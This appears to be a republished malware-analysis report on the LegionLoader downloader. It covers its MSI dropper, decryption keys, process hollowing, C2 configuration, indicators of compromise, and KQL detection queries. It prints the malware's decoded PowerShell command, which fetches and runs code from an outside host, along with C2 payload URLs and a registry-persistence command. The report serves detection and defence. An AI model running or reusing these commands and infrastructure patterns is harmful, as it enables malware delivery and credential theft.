Advancing Through the Cyberfront, LegionLoader Commander

LegionLoader is a sophisticated downloader malware that has evolved since its emergence in 2019. It delivers malicious Chrome extensions capable of altering user data and monitoring activities, while also employing advanced techniques for evasion and payload delivery. The malware’s recent adaptations include the use of DLL side-loading and encrypted communication with command and control servers. #LegionLoader #MalwareAnalysis #CyberSecurity

Keypoints :

  • LegionLoader is a downloader malware first identified in 2019, also known as Satacom and RobotDropper.
  • The malware delivers malicious Chrome extensions that can alter email contents and monitor browsing activities.
  • It has been observed using CursedChrome to turn compromised browsers into HTTP proxies.
  • LegionLoader has evolved to deliver stealers like LummaC2 and StealC alongside Chrome extensions.
  • The loader spreads through drive-by downloads, tricking users into downloading fake installers.
  • Execution of the MSI binary initiates a registration process with a remote server to fetch a password for a ZIP archive containing the malicious payload.
  • API hammering techniques are used to evade detection during execution.
  • The core payload is decrypted using XTEA and injected into the explorer.exe process via process hollowing.
  • LegionLoader communicates with hardcoded C2 servers to receive configurations and additional payloads.
  • Indicators of compromise include monitoring specific URL patterns and suspicious file drops.

MITRE Techniques :

  • T1574.002 – DLL Side-Loading: LegionLoader uses steamerrorreporter64.exe to side-load malicious vstdlib_s64.dll.
  • T1071.001 – Application Layer Protocol: The malware communicates with C2 servers using HTTP.
  • T1059.001 – PowerShell: Executes base64-encoded PowerShell commands to retrieve and execute payloads.
  • T1203 – Exploitation for Client Execution: The malware spreads through drive-by downloads.
  • T1064 – Scripting: Uses scripts to automate malicious actions and evade detection.

Indicator of Compromise :

  • [url] software-license1.com/licenseUser[.]php
  • [url] gulbur[.]com/1488/236.bin
  • [url] last-blink[.]com/2709.bs64
  • [domain] dns-beast[.]com
  • [url] complete-s.monster/error.php?text=
  • Check the article for all found IoCs.
 
 

Case Study

LegionLoader is a downloader malware written in C/C++ that first appeared in the wild in 2019. It is also known by other names, including Satacom and RobotDropper, and is tracked as CurlyGate by Mandiant.

The loader has been observed delivering a malicious Chrome extension capable of altering email contents and monitoring browsing activity. It has also been observed implementing CursedChrome, a Chrome extension that converts compromised Chrome browsers into HTTP proxies, allowing web browsing authenticated as the victims across all their websites.

Additionally, the extension can capture screenshots of the visible tab in Chrome and manage requests to access and update balances for Facebook, Coinbase, and Google Pay accounts, in addition to carrying out financial actions, such as withdrawing cryptocurrency funds.

Since August 2024, LegionLoader has been observed delivering stealers alongside Chrome extensions like LummaC2, Rhadamanthys, and StealC. The loader spreads through drive-by downloads, where users are tricked into visiting websites hosting fake installers, ultimately leading to payload delivery via RapidShare, which contains the link to MEGA.

RapidShare serving LegionLoader (source: any.run)
MEGA serving LegionLoader (source: any.run)

Analysis of the Dropper

Upon executing the MSI binary, the file sends the date and time of the file execution as well as the ProductLanguage to the server (software-license1.com/licenseUser[.]php) as a part of the registration or check-in process and fetches the response from the same server. The response contains the password for the protected ZIP archive that is embedded within the MSI binary and also serves as part of the RC4 key that we will cover further in this article.

The ZIP archive contains the malicious DLL file that is used for side-loading (T1574.002). Previously, LegionLoader leveraged rnp.dll for side-loading using the legitimate rnpkeys.exe binary. Since September 2024, the loader has switched to using steamerrorreporter64.exe to side-load the malicious vstdlib_s64.dll file.

Execution script code for the MSI file

Before reaching out to the server to retrieve the password, the user gets a prompt to confirm they are not a bot, as shown below. This is likely done to bypass sandbox analysis that does not involve human interaction.

Human verification check (1)
Human verification check (2)

It’s worth mentioning that the malicious DLL file and other dependencies are located under the AppDataRoaming folder. The example of the folder and subfolder names are shown below.

Properties of the MSI file
Encrypted and base64-encoded shellcode

This is the encrypted and base64-encoded shellcode. The base64-decoding takes place in the function shown below. In the screenshot, we can see that the payload is implementing an API hammering technique. API hammering occurs when the program rapidly calls many system APIs to evade detections and confuse researchers and analysts by executing numerous legitimate API calls.

Base64-decoding code

Upon decoding the Base64 blob, we are faced with another challenge. The base64-decoded shellcode is still in the encrypted form. The encrypted shellcode must go through another round of decryption using the RC4 algorithm.

The RC4 key is generated based on the calculations of the immediate constants and the registry key value. In the image below, we can see the first 4-byte part of the RC4 key is calculated based on adding the constants 0xFE54DF0F and 0x0010914C, which yields 0xFE65705B.

Calculating the first part of the RC4 key

The second part of the key is calculated similarly to the first one.

Calculating the second part of the RC4 key

The third 4-byte part of the key is extracted from the registry key; it’s also worth mentioning that this is the same key (password) used to extract the malicious DLL mentioned earlier from the ZIP archive.

Registry key

The last part of the key is calculated based on the CRC32 hashing result, which takes the hardcoded value as input.

Code that calculates the CRC32 hash

Now that we have the RC4 key handy(5B 70 65 FE AA F1 C5 EB 64 0B D1 80 26 77 A3 58), we can decrypt the shellcode with CyberChef, as shown below.

Shellcode decryption via CyberChef

The core LegionLoader payload is decrypted within the shellcode using the XTEA decryption algorithm, with a 16-byte key passed 14 bytes after the start of the shellcode payload. We have reproduced the algorithm; you can find the XTEA decryption script here.

XTEA algorithm
XTEA key (shellcode payload)
The encrypted core LegionLoader payload

The shellcode gets the path to the explorer.exe process and injects the core LegionLoader payload into the explorer.exe process via the process hollowing injection technique, as shown below. It’s worth mentioning that the APIs are hashed with CRC32.

Getting explorer.exe path and performing process hollowing on the decrypted payload

LegionLoader

After connecting to the hardcoded C2 in the binary, LegionLoader receives the response with the configuration that is Base64-encoded and RC4 encrypted. The RC4 key 079FB5014960AE886DAA979650AF571EA6787CA45F5CCEFE312104DEDBC0DF3D has not changed since at least 2023.

For the initial request, the loader would generate a random sequence of characters by using a Mersenne Twister random number generator to index into a predefined set of alphanumeric 62 values and fill the output buffer with these characters; in total, there will be 16 characters appended to a= to form the GET request sent to the C2 server, for example, /test_gate0117.php?a=0RLOGyBKmftm6wU.

We have consistently observed threat actors using test_gate0117 for the GET requests.

Response received from the C2 server
{
"count": "0",
"nonencrypt": "false",
"dll": "false",
"pops": "false",
"int_point": "PluginInit",
"manual_start": {
"url": "https://gulbur[.]com/1488/236.bin",
"key": "7140D3852C128C498CB8EDB657AE1880"
},
"postback": "true",
"geo": "GB",
"crypto_domain": "google.com",
"powershell": "cG93ZXJzaGVsbCAtd2luZG93c3R5bGUgaGlkZGVuI...=",
"moderation": "false",
"postback_id": "false",
"postback_url": "l-back.com",
"postback_path": "click?cnv_id="
}

The “count” means the number of times a certain task should be run, for example, executing a DLL, batch file, or an executable file.

  • nonencrypt (True or False) — means whether the payload is not encrypted or encrypted.
  • dll (True or False) is the DLL payload retrieved from C2.
  • int_point — likely represents the export function for the DLL to run (“PluginInit”).
  • geo — the country of the infected machine.
  • powershell — specifies the PowerShell base64-encoded command to run on the victim’s machine.
  • postback — the parameter is likely used to track if the loader has been successfully executed.
  • postback_id — a unique identifier for cnv_id (is not present in all configurations)
  • postback_url — the URL that receives the tracking information.
  • postback_path — path to the postback URL.
  • manual start — contains the URL hosting an additional payload with the XTEA decryption key.
  • moderation (True or False) — likely determines whether the additional payload processing happens (for bat, exe, and DLL files retrieved from the C2)

The PowerShell base64-encoded command in the configuration retrieves the malicious Chrome extension that can alter email content, withdraw cryptocurrency funds, capture the screenshots of Chrome tab,s and collect system information:

powershell -windowstyle hidden -e JAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZ....==

Decoded PowerShell command:

$w=new-objectSystem.Net.Webclient;$bs=$w.DownloadString("https://last-blink[.]com/2709.bs64");[Byte[]]$x=[Convert]::FromBase64String($bs.Replace("!","b").Replace("@","h").Replace("$","m").Replace("%","p").Replace("^","v"));for($i=0;$i-lt$x.Count;$i++){$x[$i]=($x[$i]-bxor167)-bxor18};iex([System.Text.Encoding]::UTF8.GetString($x))

While analyzing the binary, we discovered an additional parameter, file_ext, not mentioned in the fetched configuration. This parameter determines the file extension of the next-stage payload, which could be .bat, .exe, or .dll, as shown below. Analyzing other payloads, we found that the configuration can contain file_ext1 and file_ext2 for .exe and .dll files, respectively, along with url1 and url2 for the C2 servers hosting the payloads. This suggests the loader’s configuration can be easily customized to suit the threat actor’s specific needs.

{
"url1": "https://1blob[.]monster/pidaras/170.exe",
"url2": "https://2j[.]tel/WCorprIIFS",
"count": "2",
"file_ext1": "exe",
"file_ext2": "dll",
"nonencrypt": "false",
"dll": "false",
"pops": "false",
"int_point": "PluginInit",
"manual_start": null,
"postback": "true",
"geo": "RO",
"crypto_domain": "mix",
"powershell": "cG93ZXJzaGVsbCAtd2luZG93c3R5bGUgaGlkZGVuI....==",
"moderation": "false",
"postback_id": "74079gmntbg8w3y635",
"postback_url": "raur94.com",
"postback_path": "gAySB.php?cnv_id="
}
The flow of extension execution

Based on the file extension, the loader would leverage the following:

  • The encrypted file retrieved from the C2 server is placed in the %TEMP% folder, with a filename generated using the Mersenne Twister algorithm (16 characters long), followed by the .dat extension (e.g., vaYcTXaC84DehVv..dat, with an extra dot included). If the decrypted file is an executable, it is renamed to svchost.exe and placed in a subfolder under %TEMP% with a randomly generated name, again using the Mersenne Twister algorithm (16 characters).
  • If the file is a DLL, the rundll32.exe will be used to execute the file.
  • If it’s the batch file, the ShellExecuteA function is used to launch the file.

Apart from the fetched configuration, LegionLoader also contains the RC4-encrypted hardcoded strings shown below.

Encrypted hardcoded strings

Decrypted strings:

8.8.8.8
dns-beast.com
Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
test_gate0117.php
&value=1
gate2.php?a=
complete-s.monster
error.php?text=
GoogleChromeUser DataLocal State

LegionLoader can send DNS requests to domains like dns-beast[.]com to retrieve an encrypted C2 address, which is then used to download the next-stage payloads. However, in this case, LegionLoader leveraged a hardcoded C2 address in plaintext to fetch a configuration file containing another C2 URL, which was then used to retrieve the next-stage payload.

In some samples, we observed the payload sending data to a secondary C2 (complete-s.monster/error.php?text=), which includes a malicious PowerShell command from tasks defined by the shell_body argument. Additionally, the “status” and “last_win_error” arguments are likely used to track the task execution results and report any errors that may have occurred during execution. Besides the arguments mentioned, the recent binary also has such arguments as windows_version, status_code, file_number, and file_statuses.

{
"shell_body": "cG93ZXJzaGVsbCAtd2luZG93c3R5bGUgaGlkZGVuI....==",
"status": 1,
"last_win_error": 0
}

“&value=1” from the decrypted string is getting passed to form the tracking URL, for example, l-back[.]com/gAySB.php?cnv_id=74079gmntbg8w3y635&value=1

GoogleChromeUser DataLocal State — is the folder where the loader extracts the decryption key for Chrome credentials and other sensitive data.

LegionLoader started to encrypt their next-stage payloads, which will be later decrypted within the shellcode, which is, again, encrypted with XTEA. So far, we have seen LummaC2 and StealC being dropped, and previously, it was RisePro before they shut down their services.

Function to decrypt the next stage payload

Indicators of Compromise

You can access the indicators of compromise here.

Detection suggestions

1. Monitor for the GET requests with URL patterns such as:

  • /gate2.php?a=
  • /test_gate0117.php?a
  • /gAySB.php?
  • /licenseUser.php

2. Monitor for svchost.exe file dropped under “%TEMP%[A-Za-z0–9]{16}svchost.exe”.

3. Monitor for ZIP files dropped under the Downloads folder and MSI file execution with the naming convention such as app__v7.2.5_.zip, app__v6.28.1_.zip, and so on.

4. Monitor for the explorer.exe process when reaching out to suspicious IPs.

5. Monitor for suspicious base64-encoded commands spawning from the PowerShell process.

6. Look for outbound connections from Chrome process to multiple crypto domains shown below within a short period of time:

Outbound network connections from the Chrome process originating from the malicious extension

7. Check for malicious Chrome extension named “Save to Google Drive” located under “AppDataLocal[A-Za-z0–9]{14}, for example, C:UsersusernameAppDataLocalPpEgTomIkqhROf”.

Malicious Chrome extension
Contents of the malicious Chrome extension folder

Rules and Detection Queries

Yara rules can be accessed here.

Sigma rules can be accessed here.

KQL Queries

Process injection into explorer.exe spawning powershell.exe:

DeviceProcessEvents
| where ProcessCommandLine == "powershell.exe -windowstyle hidden -e"
| where InitiatingProcessFileName == "explorer.exe"
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName, InitiatingProcessId, ProcessId
| order by TimeGenerated desc

Or alternative query to detect LegionLoader process injection:

DeviceEvents
| where ProcessCommandLine == "C:WINDOWSSysWOW64explorer.exe explorer.exe"

DLL side-loading (LegionLoader has been leveraging NVIDIA GeForce Experience.exe, steamerrorreporter64.exe, rand npkeys.exe to perform DLL-sideloading):

DeviceImageLoadEvents
| where InitiatingProcessFolderPath has "AppDataRoaming"
| where InitiatingProcessFileName in ("NVIDIA GeForce Experience.exe", "steamerrorreporter64.exe", "rnpkeys.exe")
| where FolderPath has_any ("libcef.dll", "vstdlib_s64.dll", "rnp.dll")
| project TimeGenerated, DeviceName, InitiatingProcessFolderPath, InitiatingProcessFileName, FolderPath, FileName
| order by TimeGenerated desc

This bypassed Defender in the lab, injection into BitLockerToGo:

DeviceProcessEvents
| where FileName has "BitLockerToGo.exe"
| where InitiatingProcessFileName endswith ".exe"
| where InitiatingProcessFolderPath contains "appdatalocaltemp"
| project TimeGenerated, InitiatingProcessFileName, InitiatingProcessFolderPath, FileName, FolderPath, ProcessCommandLine, InitiatingProcessId, ProcessId
| order by TimeGenerated desc

Persistence in the Registry Run Key (the purpose of LegionLoader running BitLockerToGo.exe by itself is unknown):

DeviceProcessEvents
| where ProcessCommandLine == "powershell -WindowStyle hidden -Command "if (-Not (Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\App")) { Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "App" -Value "C:WindowsBitLockerDiscoveryVolumeContentsBitLockerToGo.exe" }""

References

https://github.com/mandatoryprogrammer/CursedChrome

Satacom delivers browser extension that steals cryptocurrency

https://x.com/anyrun_app/status/1828798277828890788


Full Research: https://medium.com/@traclabs_/advancing-through-the-cyberfront-legionloader-commander-6af38ebe39d4?source=rss-6a3005ed0ee2——2